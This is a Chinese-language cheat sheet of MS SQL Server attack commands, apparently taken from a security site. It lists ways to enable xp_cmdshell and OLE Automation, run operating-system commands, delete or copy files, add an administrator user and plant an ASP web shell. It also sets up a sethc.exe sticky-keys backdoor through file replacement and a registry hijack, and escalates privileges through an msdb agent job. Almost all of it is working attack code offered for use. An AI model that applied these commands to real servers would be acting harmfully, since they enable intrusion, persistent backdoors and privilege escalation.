• 开启和关毕xp_cmdshell
• EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 开启xp_cmdshell
• EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;-- 关毕xp_cmdshell
• EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
• 2.
• xp_cmdshell执行命令
• EXEC master..xp_cmdshell 'ipconfig'
• 3.
• 开启和关毕sp_oacreate
• exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; 开启
• exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE; 关毕
• EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
• 4.
• sp_OACreate删除文件
• DECLARE @Result int
• DECLARE @FSO_Token int
• EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
• EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\user.bat'
• EXEC @Result = sp_OADestroy @FSO_Token
• 5.
• sp_OACreate复制文件
• declare @o int
• exec sp_oacreate 'scripting.filesystemobject', @o out
• exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
• 6.
• sp_OACreate移动文件
• declare @aa int
• exec sp_oacreate 'scripting.filesystemobject', @aa out
• exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log', 'c:\temp\ipmi1.log';
• 7.
• sp_OACreate加管理员用户
• DECLARE @js int
• EXEC sp_OACreate 'ScriptControl',@js OUT
• EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
• EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
• 8.
• 开启和关毕sp_makewebtask
• exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE; 开启
• exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE; 关毕
• EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
• 9.
• sp_makewebtask新建文件
• exec sp_makewebtask 'c:\windows.txt',' select ''<%25execute(request("a"))%25>'' ';;--
• 10.
• wscript.shell执行命令
• use master
• declare @o int
• exec sp_oacreate 'wscript.shell',@o out
• exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
• 11.
• Shell.Application执行命令
• declare @o int
• exec sp_oacreate 'Shell.Application', @o out
• exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
• or
• exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';
• 12.
• 开启和关毕openrowset
• exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE; 开启
• exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE; 关毕
• EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
• 13.
• 沙盒执行命令
• exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 默认为3
• select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')
• 14.
• 注册表劫持粘贴键
• exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
• Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
• 15.
• sp_oacreate替换粘贴键
• declare @o int
• exec sp_oacreate 'scripting.filesystemobject', @o out
• exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
• declare @oo int
• exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
• 16.
• public权限提权操作
• USE msdb
• EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
• @enabled = 1,
• @description = 'This will give a low privileged user access to
• xp_cmdshell',
• @delete_level = 1
• EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
• @step_name = 'Exec my sql',
• @subsystem = 'TSQL',
• @command = 'exec master..xp_execresultset N''select ''''exec
• master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
• EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
• @server_name = 'SERVER_NAME'
• EXEC sp_start_job @job_name = 'GetSystemOnSQL'

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